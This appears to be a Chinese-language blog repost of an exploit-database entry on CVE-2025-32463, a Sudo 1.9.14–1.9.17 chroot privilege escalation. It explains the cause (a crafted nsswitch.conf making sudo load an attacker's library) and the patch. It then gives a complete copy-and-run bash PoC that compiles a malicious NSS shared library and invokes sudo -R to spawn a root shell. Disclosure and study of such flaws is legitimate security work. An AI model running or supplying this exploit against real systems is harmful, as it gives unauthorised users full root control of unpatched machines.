Sudo chroot本地提权漏洞(CVE-2025-32463)技术分析与利用

本文详细分析了Sudo 1.9.14至1.9.17版本中chroot选项的本地权限提升漏洞(CVE-2025-32463),包含漏洞背景、技术细节、影响范围以及完整的PoC利用脚本,攻击者可借此以root身份执行任意命令。

Sudo chroot 1.9.17 本地权限提升

发布日期: 2025年7月28日 提交者: Stratascale 风险等级: 中等 本地利用:远程利用:CVE编号: CVE-2025-32463 CWE分类: CWE-264 Dork: 不适用

漏洞标题: Sudo chroot 1.9.17 - 本地权限提升 谷歌Dork: 不适用 日期: 2025年6月30日,星期一 漏洞作者: Stratascale 供应商主页: https://salsa.debian.org/sudo-team/sudo 软件链接: 影响版本: Sudo 1.9.14 至 1.9.17(包含) 测试环境: Kali Rolling 2025-7-3 CVE编号: CVE-2025-32463

Kali当前运行的版本: https://pkg.kali.org/news/640802/sudo-1916p2-2-imported-into-kali-rolling/

背景

攻击者可以利用sudo的-R (--chroot) 选项以root身份运行任意命令,即使这些命令并未列在sudoers文件中。

受影响的Sudo版本: Sudo 1.9.14 至 1.9.17(包含)版本受影响。

CVE ID: 此漏洞在通用漏洞披露数据库中分配了编号 CVE-2025-32463。

细节

Sudo的-R (--chroot) 选项旨在允许用户,在sudoers文件许可的情况下,以用户选择的根目录运行命令。在sudo 1.9.14版本中做了一项修改,以便在仍在评估sudoers文件时,使用用户指定的根目录通过chroot()来解析路径。攻击者有可能通过在用户指定的根目录下创建一个/etc/nsswitch.conf文件,诱使sudo加载任意共享库。

sudo 1.9.14引入的这项修改已在sudo 1.9.17p1版本中被撤销,并且chroot功能已被标记为弃用。它将在未来的sudo版本中被完全移除。由于sudo解析命令的方式,支持用户指定的chroot目录容易出错,并且此功能似乎并未被广泛使用。

关于该漏洞及其影响的更详细描述可以在Stratascale的安全公告中找到: https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

影响: 在支持/etc/nsswitch.conf的系统上,用户可能能够以root身份运行任意命令。

漏洞利用

验证运行的sudo版本:sudo --version。如果存在漏洞,复制并粘贴以下代码并运行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
# sudo-chwoot.sh – PoC CVE-2025-32463
set -e

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd "$STAGE"

# 1. NSS库
cat > woot1337.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void woot(void) {
    setreuid(0,0);          /* 更改为UID 0 */
    setregid(0,0);          /* 更改为GID 0 */
    chdir("/");             /* 退出chroot环境 */
    execl("/bin/bash","/bin/bash",NULL); /* root shell */
}
EOF

# 2. 带有恶意nsswitch.conf的迷你chroot环境
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc            # 防止getgrnam()调用失败

# 3. 编译libnss_
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "[*] Running exploit…"
sudo -R woot woot                 # (-R <目录> <命令>)
                                   # • 第一个“woot”是chroot目录
                                   # • 第二个“woot”是一个不存在的命令
                                   #   (仅需解析用户信息)

rm -rf "$STAGE"
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计